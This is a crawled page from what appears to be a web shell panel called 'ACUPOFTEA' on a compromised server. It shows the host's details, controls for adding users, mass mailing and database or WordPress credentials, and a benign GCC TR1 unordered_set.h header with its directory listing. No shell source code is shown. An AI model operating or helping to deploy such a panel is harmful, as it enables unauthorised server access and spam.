System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
include
/
c++
/
8
/
tr1
/
216.73.216.38
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
unordered_set.h
// TR1 unordered_set implementation -*- C++ -*- // Copyright (C) 2010-2018 Free Software Foundation, Inc. // // This file is part of the GNU ISO C++ Library. This library is free // software; you can redistribute it and/or modify it under the // terms of the GNU General Public License as published by the // Free Software Foundation; either version 3, or (at your option) // any later version. // This library is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // Under Section 7 of GPL version 3, you are granted additional // permissions described in the GCC Runtime Library Exception, version // 3.1, as published by the Free Software Foundation. // You should have received a copy of the GNU General Public License and // a copy of the GCC Runtime Library Exception along with this program; // see the files COPYING3 and COPYING.RUNTIME respectively. If not, see // <http://www.gnu.org/licenses/>. /** @file tr1/unordered_set.h * This is an internal header file, included by other library headers. * Do not attempt to use it directly. @headername{tr1/unordered_set} */ namespace std _GLIBCXX_VISIBILITY(default) { _GLIBCXX_BEGIN_NAMESPACE_VERSION namespace tr1 { // NB: When we get typedef templates these class definitions // will be unnecessary. template<class _Value, class _Hash = hash<_Value>, class _Pred = std::equal_to<_Value>, class _Alloc = std::allocator<_Value>, bool __cache_hash_code = false> class __unordered_set : public _Hashtable<_Value, _Value, _Alloc, std::_Identity<_Value>, _Pred, _Hash, __detail::_Mod_range_hashing, __detail::_Default_ranged_hash, __detail::_Prime_rehash_policy, __cache_hash_code, true, true> { typedef _Hashtable<_Value, _Value, _Alloc, std::_Identity<_Value>, _Pred, _Hash, __detail::_Mod_range_hashing, __detail::_Default_ranged_hash, __detail::_Prime_rehash_policy, __cache_hash_code, true, true> _Base; public: typedef typename _Base::size_type size_type; typedef typename _Base::hasher hasher; typedef typename _Base::key_equal key_equal; typedef typename _Base::allocator_type allocator_type; explicit __unordered_set(size_type __n = 10, const hasher& __hf = hasher(), const key_equal& __eql = key_equal(), const allocator_type& __a = allocator_type()) : _Base(__n, __hf, __detail::_Mod_range_hashing(), __detail::_Default_ranged_hash(), __eql, std::_Identity<_Value>(), __a) { } template<typename _InputIterator> __unordered_set(_InputIterator __f, _InputIterator __l, size_type __n = 10, const hasher& __hf = hasher(), const key_equal& __eql = key_equal(), const allocator_type& __a = allocator_type()) : _Base(__f, __l, __n, __hf, __detail::_Mod_range_hashing(), __detail::_Default_ranged_hash(), __eql, std::_Identity<_Value>(), __a) { } }; template<class _Value, class _Hash = hash<_Value>, class _Pred = std::equal_to<_Value>, class _Alloc = std::allocator<_Value>, bool __cache_hash_code = false> class __unordered_multiset : public _Hashtable<_Value, _Value, _Alloc, std::_Identity<_Value>, _Pred, _Hash, __detail::_Mod_range_hashing, __detail::_Default_ranged_hash, __detail::_Prime_rehash_policy, __cache_hash_code, true, false> { typedef _Hashtable<_Value, _Value, _Alloc, std::_Identity<_Value>, _Pred, _Hash, __detail::_Mod_range_hashing, __detail::_Default_ranged_hash, __detail::_Prime_rehash_policy, __cache_hash_code, true, false> _Base; public: typedef typename _Base::size_type size_type; typedef typename _Base::hasher hasher; typedef typename _Base::key_equal key_equal; typedef typename _Base::allocator_type allocator_type; explicit __unordered_multiset(size_type __n = 10, const hasher& __hf = hasher(), const key_equal& __eql = key_equal(), const allocator_type& __a = allocator_type()) : _Base(__n, __hf, __detail::_Mod_range_hashing(), __detail::_Default_ranged_hash(), __eql, std::_Identity<_Value>(), __a) { } template<typename _InputIterator> __unordered_multiset(_InputIterator __f, _InputIterator __l, typename _Base::size_type __n = 0, const hasher& __hf = hasher(), const key_equal& __eql = key_equal(), const allocator_type& __a = allocator_type()) : _Base(__f, __l, __n, __hf, __detail::_Mod_range_hashing(), __detail::_Default_ranged_hash(), __eql, std::_Identity<_Value>(), __a) { } }; template<class _Value, class _Hash, class _Pred, class _Alloc, bool __cache_hash_code> inline void swap(__unordered_set<_Value, _Hash, _Pred, _Alloc, __cache_hash_code>& __x, __unordered_set<_Value, _Hash, _Pred, _Alloc, __cache_hash_code>& __y) { __x.swap(__y); } template<class _Value, class _Hash, class _Pred, class _Alloc, bool __cache_hash_code> inline void swap(__unordered_multiset<_Value, _Hash, _Pred, _Alloc, __cache_hash_code>& __x, __unordered_multiset<_Value, _Hash, _Pred, _Alloc, __cache_hash_code>& __y) { __x.swap(__y); } /** * @brief A standard container composed of unique keys (containing * at most one of each key value) in which the elements' keys are * the elements themselves. * * @ingroup unordered_associative_containers * * Meets the requirements of a <a href="tables.html#65">container</a>, and * <a href="tables.html#xx">unordered associative container</a> * * @param Value Type of key objects. * @param Hash Hashing function object type, defaults to hash<Value>. * @param Pred Predicate function object type, defaults to equal_to<Value>. * @param Alloc Allocator type, defaults to allocator<Key>. */ template<class _Value, class _Hash = hash<_Value>, class _Pred = std::equal_to<_Value>, class _Alloc = std::allocator<_Value> > class unordered_set : public __unordered_set<_Value, _Hash, _Pred, _Alloc> { typedef __unordered_set<_Value, _Hash, _Pred, _Alloc> _Base; public: typedef typename _Base::value_type value_type; typedef typename _Base::size_type size_type; typedef typename _Base::hasher hasher; typedef typename _Base::key_equal key_equal; typedef typename _Base::allocator_type allocator_type; explicit unordered_set(size_type __n = 10, const hasher& __hf = hasher(), const key_equal& __eql = key_equal(), const allocator_type& __a = allocator_type()) : _Base(__n, __hf, __eql, __a) { } template<typename _InputIterator> unordered_set(_InputIterator __f, _InputIterator __l, size_type __n = 10, const hasher& __hf = hasher(), const key_equal& __eql = key_equal(), const allocator_type& __a = allocator_type()) : _Base(__f, __l, __n, __hf, __eql, __a) { } }; /** * @brief A standard container composed of equivalent keys * (possibly containing multiple of each key value) in which the * elements' keys are the elements themselves. * * @ingroup unordered_associative_containers * * Meets the requirements of a <a href="tables.html#65">container</a>, and * <a href="tables.html#xx">unordered associative container</a> * * @param Value Type of key objects. * @param Hash Hashing function object type, defaults to hash<Value>. * @param Pred Predicate function object type, defaults to equal_to<Value>. * @param Alloc Allocator type, defaults to allocator<Key>. */ template<class _Value, class _Hash = hash<_Value>, class _Pred = std::equal_to<_Value>, class _Alloc = std::allocator<_Value> > class unordered_multiset : public __unordered_multiset<_Value, _Hash, _Pred, _Alloc> { typedef __unordered_multiset<_Value, _Hash, _Pred, _Alloc> _Base; public: typedef typename _Base::value_type value_type; typedef typename _Base::size_type size_type; typedef typename _Base::hasher hasher; typedef typename _Base::key_equal key_equal; typedef typename _Base::allocator_type allocator_type; explicit unordered_multiset(size_type __n = 10, const hasher& __hf = hasher(), const key_equal& __eql = key_equal(), const allocator_type& __a = allocator_type()) : _Base(__n, __hf, __eql, __a) { } template<typename _InputIterator> unordered_multiset(_InputIterator __f, _InputIterator __l, typename _Base::size_type __n = 0, const hasher& __hf = hasher(), const key_equal& __eql = key_equal(), const allocator_type& __a = allocator_type()) : _Base(__f, __l, __n, __hf, __eql, __a) { } }; template<class _Value, class _Hash, class _Pred, class _Alloc> inline void swap(unordered_set<_Value, _Hash, _Pred, _Alloc>& __x, unordered_set<_Value, _Hash, _Pred, _Alloc>& __y) { __x.swap(__y); } template<class _Value, class _Hash, class _Pred, class _Alloc> inline void swap(unordered_multiset<_Value, _Hash, _Pred, _Alloc>& __x, unordered_multiset<_Value, _Hash, _Pred, _Alloc>& __y) { __x.swap(__y); } } _GLIBCXX_END_NAMESPACE_VERSION }
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-08-28 10:58:25
..
DIR
-
drwxr-xr-x
2025-08-28 10:58:25
array
text/x-c
6.8 KB
-rw-r--r--
2025-08-26 09:45:04
bessel_function.tcc
text/x-c
21.95 KB
-rw-r--r--
2025-08-26 09:45:04
beta_function.tcc
text/plain
5.85 KB
-rw-r--r--
2025-08-26 09:45:04
ccomplex
text/x-c
1.23 KB
-rw-r--r--
2025-08-26 09:45:04
cctype
text/x-c
1.38 KB
-rw-r--r--
2025-08-26 09:45:04
cfenv
text/x-c
1.96 KB
-rw-r--r--
2025-08-26 09:45:04
cfloat
text/x-c
1.35 KB
-rw-r--r--
2025-08-26 09:45:04
cinttypes
text/x-c
2.2 KB
-rw-r--r--
2025-08-26 09:45:04
climits
text/x-c
1.42 KB
-rw-r--r--
2025-08-26 09:45:04
cmath
text/x-c
42.78 KB
-rw-r--r--
2025-08-26 09:45:04
complex
text/x-c
12.09 KB
-rw-r--r--
2025-08-26 09:45:04
complex.h
text/x-c
1.23 KB
-rw-r--r--
2025-08-26 09:45:04
cstdarg
text/x-c
1.22 KB
-rw-r--r--
2025-08-26 09:45:04
cstdbool
text/x-c
1.31 KB
-rw-r--r--
2025-08-26 09:45:04
cstdint
text/x-c
2.56 KB
-rw-r--r--
2025-08-26 09:45:04
cstdio
text/x-c
1.45 KB
-rw-r--r--
2025-08-26 09:45:04
cstdlib
text/x-c
1.75 KB
-rw-r--r--
2025-08-26 09:45:04
ctgmath
text/x-c
1.22 KB
-rw-r--r--
2025-08-26 09:45:04
ctime
text/x-c
1.21 KB
-rw-r--r--
2025-08-26 09:45:04
ctype.h
text/x-c
1.18 KB
-rw-r--r--
2025-08-26 09:45:04
cwchar
text/x-c
1.68 KB
-rw-r--r--
2025-08-26 09:45:04
cwctype
text/x-c
1.42 KB
-rw-r--r--
2025-08-26 09:45:04
ell_integral.tcc
text/plain
27.07 KB
-rw-r--r--
2025-08-26 09:45:04
exp_integral.tcc
text/x-c
15.63 KB
-rw-r--r--
2025-08-26 09:45:04
fenv.h
text/x-c
1.18 KB
-rw-r--r--
2025-08-26 09:45:04
float.h
text/x-c
1.18 KB
-rw-r--r--
2025-08-26 09:45:04
functional
text/x-c
68.89 KB
-rw-r--r--
2025-08-26 09:45:04
functional_hash.h
text/plain
5.9 KB
-rw-r--r--
2025-08-26 09:45:04
gamma.tcc
text/x-c
14.34 KB
-rw-r--r--
2025-08-26 09:45:04
hashtable.h
text/x-c
40.56 KB
-rw-r--r--
2025-08-26 09:45:04
hashtable_policy.h
text/plain
24.5 KB
-rw-r--r--
2025-08-26 09:45:04
hypergeometric.tcc
text/plain
27.41 KB
-rw-r--r--
2025-08-26 09:45:04
inttypes.h
text/x-c
1.24 KB
-rw-r--r--
2025-08-26 09:45:04
legendre_function.tcc
text/x-c
10.65 KB
-rw-r--r--
2025-08-26 09:45:04
limits.h
text/x-c
1.19 KB
-rw-r--r--
2025-08-26 09:45:04
math.h
text/x-c
4.45 KB
-rw-r--r--
2025-08-26 09:45:04
memory
text/x-c
1.75 KB
-rw-r--r--
2025-08-26 09:45:04
modified_bessel_func.tcc
text/x-c
15.94 KB
-rw-r--r--
2025-08-26 09:45:04
poly_hermite.tcc
text/plain
3.83 KB
-rw-r--r--
2025-08-26 09:45:04
poly_laguerre.tcc
text/plain
11.4 KB
-rw-r--r--
2025-08-26 09:45:04
random
text/x-c
1.55 KB
-rw-r--r--
2025-08-26 09:45:04
random.h
text/plain
71.41 KB
-rw-r--r--
2025-08-26 09:45:04
random.tcc
text/plain
52.66 KB
-rw-r--r--
2025-08-26 09:45:04
regex
text/x-c
90.7 KB
-rw-r--r--
2025-08-26 09:45:04
riemann_zeta.tcc
text/x-c
13.73 KB
-rw-r--r--
2025-08-26 09:45:04
shared_ptr.h
text/plain
31.84 KB
-rw-r--r--
2025-08-26 09:45:04
special_function_util.h
text/plain
4.94 KB
-rw-r--r--
2025-08-26 09:45:04
stdarg.h
text/x-c
1.19 KB
-rw-r--r--
2025-08-26 09:45:04
stdbool.h
text/x-c
1.19 KB
-rw-r--r--
2025-08-26 09:45:04
stdint.h
text/x-c
1.19 KB
-rw-r--r--
2025-08-26 09:45:04
stdio.h
text/x-c
1.18 KB
-rw-r--r--
2025-08-26 09:45:04
stdlib.h
text/x-c
1.45 KB
-rw-r--r--
2025-08-26 09:45:04
tgmath.h
text/x-c
1.23 KB
-rw-r--r--
2025-08-26 09:45:04
tuple
text/x-c
11.83 KB
-rw-r--r--
2025-08-26 09:45:04
type_traits
text/x-c
18.57 KB
-rw-r--r--
2025-08-26 09:45:04
unordered_map
text/x-c
1.54 KB
-rw-r--r--
2025-08-26 09:45:04
unordered_map.h
text/plain
9.98 KB
-rw-r--r--
2025-08-26 09:45:04
unordered_set
text/x-c
1.54 KB
-rw-r--r--
2025-08-26 09:45:04
unordered_set.h
text/plain
9.32 KB
-rw-r--r--
2025-08-26 09:45:04
utility
text/x-c
3.15 KB
-rw-r--r--
2025-08-26 09:45:04
wchar.h
text/x-c
1.22 KB
-rw-r--r--
2025-08-26 09:45:04
wctype.h
text/x-c
1.23 KB
-rw-r--r--
2025-08-26 09:45:04
~ ACUPOFTEA - mail.ontime-ae.com